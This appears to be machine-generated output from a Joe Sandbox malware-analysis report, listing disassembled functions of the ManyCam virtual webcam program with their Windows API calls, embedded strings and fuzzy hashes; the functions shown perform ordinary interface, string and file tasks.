GetLastError.KERNEL32(?,00000000,00000000,00000000,00000080,00000000,0000007C,00000080), ref: 0046C17D
WideCharToMultiByte.KERNEL32(?,00000000,00000000,?,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000,00000080,00000000,0000007C,00000080), ref: 0046C19E
WideCharToMultiByte.KERNEL32(?,00000000,00000000,?,?,00000000,00000000,00000000,00000080,00000000,0000007C,00000080,?,00000000,00000000,00000000), ref: 0046C1DC

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLastlstrlen
String ID:
API String ID: 3322701435-0
Opcode ID: cbcd1fa559f8ae4230e768bd00e513c0907913d8661ee28b925d20b683ff2109
Instruction ID: c9f41260a9b7f310c3a2772d0b559dbbeee8ca943a5465fee336bfd2e85e9abf
Opcode Fuzzy Hash: cbcd1fa559f8ae4230e768bd00e513c0907913d8661ee28b925d20b683ff2109
Instruction Fuzzy Hash: E3310DB5A40208BFEB04DF94CC96FAF77B9FB48704F108549F615EB280D675A940DB94

Uniqueness

Uniqueness Score: -1.00%

Function 0042AD80 Relevance: 7.6, APIs: 5, Instructions: 95COMMON

Download Yara Rule

APIs

Part of subcall function 004078E0: GetClientRect.USER32(?,00000000), ref: 004078F1

?GetWidth@CxImage@@QBEKXZ.CXIMAGECRT(?,74C45DB3,74C45DB3,74C45DB3), ref: 0042ADFD
?Draw@CxImage@@QAEJPAUHDC__@@ABUtagRECT@@PAU3@_N@Z.CXIMAGECRT(00000000,?,00000000,00000000,?,74C45DB3,74C45DB3,74C45DB3), ref: 0042AE22
?GetWidth@CxImage@@QBEKXZ.CXIMAGECRT(00000000,?,00000000,00000000,?,74C45DB3,74C45DB3,74C45DB3), ref: 0042AE36
?Draw@CxImage@@QAEJPAUHDC__@@ABUtagRECT@@PAU3@_N@Z.CXIMAGECRT(00000000,?,00000000,00000000,00000000,?,00000000,00000000,?,74C45DB3,74C45DB3,74C45DB3), ref: 0042AE5D
?Draw@CxImage@@QAEJPAUHDC__@@ABUtagRECT@@PAU3@_N@Z.CXIMAGECRT(00000000,?,00000000,00000000,00000000,?,00000000,00000000,00000000,?,00000000,00000000,?,74C45DB3,74C45DB3,74C45DB3), ref: 0042AE88

Part of subcall function 00412790: BitBlt.GDI32(FFFFFFFF,?,?,?,?,?,?,?,00CC0020), ref: 00412805

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: Image@@$C__@@Draw@U3@_Utag$Width@$ClientRect
String ID:
API String ID: 193267685-0
Opcode ID: cc610818231fedaec0e2e8761d4cd92ccf62e2b5e813100fd3daefcb6bb4828e
Instruction ID: 8553715beaca9bac7e41af40e2054756d9585b963120416201abcc36e36c20fb
Opcode Fuzzy Hash: cc610818231fedaec0e2e8761d4cd92ccf62e2b5e813100fd3daefcb6bb4828e
Instruction Fuzzy Hash: 2A410771D002099BDB08EFD8D951BEEBBB8FF44304F10412EE512A7295DB742A44CB55

Uniqueness

Uniqueness Score: -1.00%

Function 00520C30 Relevance: 7.5, APIs: 5, Instructions: 30synchronizationCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,004BA32E,00000000,?,?,004B95C5,00000000,00000000,?,000000FF,?,00000000,?,?), ref: 00520C38
LeaveCriticalSection.KERNEL32(?,?,?,004BA32E,00000000,?,?,004B95C5,00000000,00000000,?,000000FF,?,00000000,?,?), ref: 00520C45
SetEvent.KERNEL32(0000000A,?,?,004BA32E,00000000,?,?,004B95C5,00000000,00000000,?,000000FF,?,00000000,?,?), ref: 00520C60
WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,004BA32E,00000000,?,?,004B95C5,00000000,00000000,?,000000FF,?,00000000,?), ref: 00520C6C
LeaveCriticalSection.KERNEL32(?,?,?,004BA32E,00000000,?,?,004B95C5,00000000,00000000,?,000000FF,?,00000000,?,?), ref: 00520C76

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: CriticalSection$Leave$EnterEventObjectSingleWait
String ID:
API String ID: 2480823239-0
Opcode ID: 69de553fff6750679b5045ee798069faca8b5646966b91e150a6d47a83d5acfd
Instruction ID: 20fc61db396638aa89e1fa09a044bcff496ff3b65396fda0f4d22a802af35d76
Opcode Fuzzy Hash: 69de553fff6750679b5045ee798069faca8b5646966b91e150a6d47a83d5acfd
Instruction Fuzzy Hash: 12F05E761002109BD320DB19EC4899BF7B8EFE5731B008A1EF66693760C774A84ADB50

Uniqueness

Uniqueness Score: -1.00%

Function 0048B460 Relevance: 7.5, APIs: 5, Instructions: 29COMMON

Download Yara Rule

APIs

?size@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEIXZ.MSVCP80(00000000,00000000,?,0047AE1E), ref: 0048B46C
?resize@?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@QAEXI@Z.MSVCP80(?,?,0047AE1E), ref: 0048B47E
?empty@?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@QBE_NXZ.MSVCP80(?,0047AE1E), ref: 0048B487
?_Myptr@?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@IAEPA_WXZ.MSVCP80(?,0047AE1E), ref: 0048B497
?at@?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@QAEAA_WI@Z.MSVCP80(00000000,?,0047AE1E), ref: 0048B4A7

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: U?$char_traits@_V?$allocator@_W@2@@std@@W@std@@$?at@?$basic_string@_?empty@?$basic_string@_?resize@?$basic_string@_?size@?$basic_string@D@2@@std@@D@std@@Myptr@?$basic_string@_U?$char_traits@V?$allocator@
String ID:
API String ID: 4057328569-0
Opcode ID: c7ba979821146be9279d2770a084e86471b0649c4ca3e01649a5b532db9d5204
Instruction ID: d80ad3f19352604951a50fa2e2320d740545fe158bc114347127201c31090748
Opcode Fuzzy Hash: c7ba979821146be9279d2770a084e86471b0649c4ca3e01649a5b532db9d5204
Instruction Fuzzy Hash: 20F05434901208EFDF04DF94E9969ACBBB5FF54301F1040A9E906A7362CB306F54EB94

Uniqueness

Uniqueness Score: -1.00%

Function 0042C4D0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 134COMMON

Download Yara Rule

APIs

Part of subcall function 0042F960: _invalid_parameter_noinfo.MSVCR80(-0000003E,?,004AB3E0,00000000,0000000A,00000001,74C45DB3,000000FF,?,004AB79D), ref: 0042F974

GetActiveWindow.USER32 ref: 0042C558

Part of subcall function 0042EC20: ??2@YAPAXI@Z.MSVCR80 ref: 0042EC47
Part of subcall function 0042EC20: Concurrency::details::GlobalCore::TopologyObject::TopologyObject.LIBCMTD ref: 0042EC66

Part of subcall function 00416740: _DebugHeapAllocator.LIBCPMTD ref: 00416795

Part of subcall function 0040EE30: _DebugHeapAllocator.LIBCPMTD ref: 0040EE68
Part of subcall function 0040EE30: _DebugHeapAllocator.LIBCPMTD ref: 0040EEAA

Part of subcall function 0042F230: _DebugHeapAllocator.LIBCPMTD ref: 0042F268
Part of subcall function 0042F230: _DebugHeapAllocator.LIBCPMTD ref: 0042F2AB

CreateDirectoryW.KERNEL32(00000000,00000000,?,?,?,?,00546DD4,?), ref: 0042C637

Part of subcall function 004CC090: memset.MSVCR80 ref: 004CC0AE
Part of subcall function 004CC090: memset.MSVCR80 ref: 004CC0CB
Part of subcall function 004CC090: wcscpy.MSVCR80 ref: 004CC0DF
Part of subcall function 004CC090: wcscat.MSVCR80 ref: 004CC0F8
Part of subcall function 004CC090: CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?), ref: 004CC124

Strings

ManyCam Virtual Webcam, xrefs: 0042C68A
Do you want to open the folder where you extracted the effect?, xrefs: 0042C68F

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: AllocatorDebugHeap$CreateTopologymemset$??2@ActiveConcurrency::details::Core::DirectoryGlobalObjectObject::ProcessWindow_invalid_parameter_noinfowcscatwcscpy
String ID: Do you want to open the folder where you extracted the effect?$ManyCam Virtual Webcam
API String ID: 2966790006-840973437
Opcode ID: 4456fef813581474ad17b04e903aea3c79cb10fd0b1b3a40ebacd1bc8f792851
Instruction ID: 0e7f259c902b1048372bebf6408b9f5c93a9d60f78888f7267b81aec5d9c5c05
Opcode Fuzzy Hash: 4456fef813581474ad17b04e903aea3c79cb10fd0b1b3a40ebacd1bc8f792851
Instruction Fuzzy Hash: FD514AB09006289FCB24EB55DC51BEFB7B4AF45309F4041EDE10AA7281DB756B88CF99

Uniqueness

Uniqueness Score: -1.00%

Function 0042C9B0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 118memoryCOMMON

Download Yara Rule

APIs

_DebugHeapAllocator.LIBCPMTD ref: 0042C9E5
_DebugHeapAllocator.LIBCPMTD ref: 0042C9F7

Part of subcall function 0042F960: _invalid_parameter_noinfo.MSVCR80(-0000003E,?,004AB3E0,00000000,0000000A,00000001,74C45DB3,000000FF,?,004AB79D), ref: 0042F974

Part of subcall function 0042E150: _DebugHeapAllocator.LIBCPMTD ref: 0042E198
Part of subcall function 0042E150: _DebugHeapAllocator.LIBCPMTD ref: 0042E1D1
Part of subcall function 0042E150: _DebugHeapAllocator.LIBCPMTD ref: 0042E203
Part of subcall function 0042E150: _DebugHeapAllocator.LIBCPMTD ref: 0042E23C
Part of subcall function 0042E150: _DebugHeapAllocator.LIBCPMTD ref: 0042E258
Part of subcall function 0042E150: GetDateFormatW.KERNEL32(00000400,00000000,?,00000000,?,00000400), ref: 0042E295
Part of subcall function 0042E150: _DebugHeapAllocator.LIBCPMTD ref: 0042E2A5

Strings

www.manycam.com, xrefs: 0042CAF2
www.manycam.com, xrefs: 0042CADE

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: AllocatorDebugHeap$DateFormat_invalid_parameter_noinfo
String ID: www.manycam.com$www.manycam.com
API String ID: 553431348-1145362033
Opcode ID: 907b669c7419f88507c8a825532ba4f2d68d0285e46d80b14031e18f66ef58df
Instruction ID: 55a663fd7b0127f2866d6ce172646f00f7e0cf50757378cb7dafc49b07509b25
Opcode Fuzzy Hash: 907b669c7419f88507c8a825532ba4f2d68d0285e46d80b14031e18f66ef58df
Instruction Fuzzy Hash: 47414271A001199BCB08DB99E891BEEB7B5FF48318F54412EE212B7391DB385944CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 004AD340 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 117COMMON

Download Yara Rule

APIs

Part of subcall function 00438A10: clock.MSVCR80 ref: 00438AA7
Part of subcall function 00438A10: _DebugHeapAllocator.LIBCPMTD ref: 00438AC5

Concurrency::details::_CriticalNonReentrantLock::_Scoped_lock::_Scoped_lock.LIBCMTD ref: 004AD389

Part of subcall function 004AC570: Concurrency::details::_CriticalNonReentrantLock::_Scoped_lock::_Scoped_lock.LIBCMTD ref: 004AC59F

Part of subcall function 00438AF0: clock.MSVCR80 ref: 00438B1F

Strings

Client %s connected at resolution %dx%d., xrefs: 004AD486
d, xrefs: 004AD3FA
CFileMapping::GetClientInfo, xrefs: 004AD368

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: Concurrency::details::_CriticalLock::_ReentrantScoped_lockScoped_lock::_clock$AllocatorDebugHeap
String ID: CFileMapping::GetClientInfo$Client %s connected at resolution %dx%d.$d
API String ID: 3697921549-1386559697
Opcode ID: 7fe720bde0584b662ff5a6456fcc0a7a9370bb05cd906dda38ab630ce944b94b
Instruction ID: 7d5e3eb7a6a05b16b4464e10eb127672eeae9fc856bbeaa4b7ff7cd70146af52
Opcode Fuzzy Hash: 7fe720bde0584b662ff5a6456fcc0a7a9370bb05cd906dda38ab630ce944b94b
Instruction Fuzzy Hash: 5E515971D00109DFCB08DB94D892BEEBBB1FB65314F10822EE4126B6D2DB786A05CB95

Uniqueness

Uniqueness Score: -1.00%

Function 00473410 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 116COMMON

Download Yara Rule

APIs

Part of subcall function 00416740: _DebugHeapAllocator.LIBCPMTD ref: 00416795

Part of subcall function 00474150: _DebugHeapAllocator.LIBCPMTD ref: 00474184

Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 004734D8
Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 004734ED

Strings

Unspecified error., xrefs: 00473445
Success., xrefs: 0047356D

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: AllocatorBase::Concurrency::details::ContextDebugHeapIdentityQueueWork
String ID: Success.$Unspecified error.
API String ID: 1131629171-706436185
Opcode ID: b3f4d17c8da6cdcfc0b6d0ff55324c749d524ae8afab65f8b4ff8dddb847087a
Instruction ID: bc827c14786d1c61271ce0a8054c91633283c620aa6f54ee5145cccaa2d137c5
Opcode Fuzzy Hash: b3f4d17c8da6cdcfc0b6d0ff55324c749d524ae8afab65f8b4ff8dddb847087a
Instruction Fuzzy Hash: BA417071801148EECB04EBD5D956BEEBBB4EF14308F10815EE416771D1EB782B08CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 004B1320 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 109COMMON

Download Yara Rule

APIs

Part of subcall function 00438A10: clock.MSVCR80 ref: 00438AA7
Part of subcall function 00438A10: _DebugHeapAllocator.LIBCPMTD ref: 00438AC5

_Smanip.LIBCPMTD ref: 004B1372

Part of subcall function 00520530: memset.MSVCR80 ref: 00520538

_Smanip.LIBCPMTD ref: 004B1421

Part of subcall function 005204F0: CoTaskMemFree.OLE32(?,?,004B1A46,000000FF,000000FF,?,?,?,?,74C45DB3), ref: 005204FD

Part of subcall function 00438AF0: clock.MSVCR80 ref: 00438B1F

Strings

vids, xrefs: 004B13DA
CGraphMgr::GetCameraResolution, xrefs: 004B1351

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: Smanipclock$AllocatorDebugFreeHeapTaskmemset
String ID: CGraphMgr::GetCameraResolution$vids
API String ID: 3774843521-3834299117
Opcode ID: 57f87322dc0667cbc6c92d53d1968dbb6fd63cc6e5eefb218d5141586365d371
Instruction ID: e56a76c056f848615ba6731e9865e0c3898b4e488a6d99c30ba1f2ebbdeffdb9
Opcode Fuzzy Hash: 57f87322dc0667cbc6c92d53d1968dbb6fd63cc6e5eefb218d5141586365d371
Instruction Fuzzy Hash: 45411A70900209DFCB14DF95D991BDEBBB4BF48304F50819EE509AB392DB34AA45CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 00418180 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 91windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,?,0000004E,00000000), ref: 004181E3
SendMessageW.USER32(00000000,?,00000111), ref: 00418234

Part of subcall function 004182A0: GetDlgCtrlID.USER32(?), ref: 004182AD

Part of subcall function 004065F0: GetParent.USER32(?), ref: 004065FD

Strings

open, xrefs: 00418249

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: MessageSend$CtrlParent
String ID: open
API String ID: 1383977212-2758837156
Opcode ID: 01cc08d3ab3f4a93a3031a1c368f21ad3e1f66622c4ad21caec5fa85ffc382d2
Instruction ID: c0f4561a2c49f87f87505e6ad243b5dafbf5b9024aec12e38c733bc4d86155cd
Opcode Fuzzy Hash: 01cc08d3ab3f4a93a3031a1c368f21ad3e1f66622c4ad21caec5fa85ffc382d2
Instruction Fuzzy Hash: FD313E70A042599FEF08DBA5DC51BFEBBB5BF48304F14415DE506B73C2CA38A9418B69

Uniqueness

Uniqueness Score: -1.00%

Function 0042C870 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 91memoryCOMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 0042C916
_DebugHeapAllocator.LIBCPMTD ref: 0042C93C

Strings

ManyCam Virtual Webcam, xrefs: 0042C8DA
The effect name is missing. Please name the effect., xrefs: 0042C8DF

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: AllocatorBase::Concurrency::details::ContextDebugHeapIdentityQueueWork
String ID: ManyCam Virtual Webcam$The effect name is missing. Please name the effect.
API String ID: 1131629171-2986969597
Opcode ID: 50f9dc068afc3ea2bc3b5c8dad93f4b45884fc86520afec70ce9849f97ae527c
Instruction ID: f548a94b20067d4d2e648bd6b739c8dff4aaef88bf7f8ff5a9c1d1d40970e620
Opcode Fuzzy Hash: 50f9dc068afc3ea2bc3b5c8dad93f4b45884fc86520afec70ce9849f97ae527c
Instruction Fuzzy Hash: D63129B0A001099FCB08EF99D891BEEB7B5FF48318F10412EE516B72D1DB386944CB68

Uniqueness

Uniqueness Score: -1.00%

Function 0040D710 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 89memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00406640: GetDlgItem.USER32(?,00000000), ref: 00406651

_DebugHeapAllocator.LIBCPMTD ref: 0040D74B

Part of subcall function 004167C0: _DebugHeapAllocator.LIBCPMTD ref: 004167CE

Part of subcall function 0040E970: GetWindowRect.USER32(?,?), ref: 0040E981

MoveWindow.USER32(00000064,00000000,00000000,?,?,00000000,?,0053D874,00000000,?,00000499), ref: 0040D7C2

Part of subcall function 0040E950: SendMessageW.USER32(00000000,00000445,?,0040D7DD), ref: 0040E963

Part of subcall function 0040EFF0: SendMessageW.USER32(?,000000C5,00000000,00000000), ref: 0040F008

Part of subcall function 0040E990: SetFocus.USER32(?,?,?,00434E57,?,00000000,?), ref: 0040E99D

Part of subcall function 004065F0: GetParent.USER32(?), ref: 004065FD

Part of subcall function 00406670: GetParent.USER32 ref: 0040669A
Part of subcall function 00406670: GetWindowRect.USER32(?,?), ref: 004066C0
Part of subcall function 00406670: GetWindowLongW.USER32(00000000,000000F0), ref: 004066DD
Part of subcall function 00406670: SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 0040670D

Strings

d, xrefs: 0040D765
d, xrefs: 0040D75E

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: Window$AllocatorDebugHeapMessageParentRectSend$FocusInfoItemLongMoveParametersSystem
String ID: d$d
API String ID: 3921613472-195624457
Opcode ID: be6d5f90de31245e1e353859d4c1b30396a498e5700c83b75fcdaf14fb3ee6aa
Instruction ID: 3ca6db3b2f9967b65cd4f0e061b2cad756e61815fc9b19dab2999dc164d22b62
Opcode Fuzzy Hash: be6d5f90de31245e1e353859d4c1b30396a498e5700c83b75fcdaf14fb3ee6aa
Instruction Fuzzy Hash: F3312D71A01109AFDB04DFEDD995FAEB7B6AF48308F14455CF202B72C1CA74AA10CB68

Uniqueness

Uniqueness Score: -1.00%

Function 0042C720 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 77memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0042F960: _invalid_parameter_noinfo.MSVCR80(-0000003E,?,004AB3E0,00000000,0000000A,00000001,74C45DB3,000000FF,?,004AB79D), ref: 0042F974

Part of subcall function 00416740: _DebugHeapAllocator.LIBCPMTD ref: 00416795

memset.MSVCR80 ref: 0042C7B2

Part of subcall function 004CB2C0: _DebugHeapAllocator.LIBCPMTD ref: 004CB2DC

UrlEscapeW.SHLWAPI(00000000,?,?,00000104,00003000,http://manycam.com/upload_effect?filepath=,?,74C45DB3), ref: 0042C7F2
_DebugHeapAllocator.LIBCPMTD ref: 0042C81A

Part of subcall function 0040EA00: _DebugHeapAllocator.LIBCPMTD ref: 0040EA0E

Part of subcall function 004CBEE0: _DebugHeapAllocator.LIBCPMTD ref: 004CBF12
Part of subcall function 004CBEE0: ShellExecuteW.SHELL32(00000000,open,00000000,00000000,00000000,00000001), ref: 004CBF84

Strings

http://manycam.com/upload_effect?filepath=, xrefs: 0042C782

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
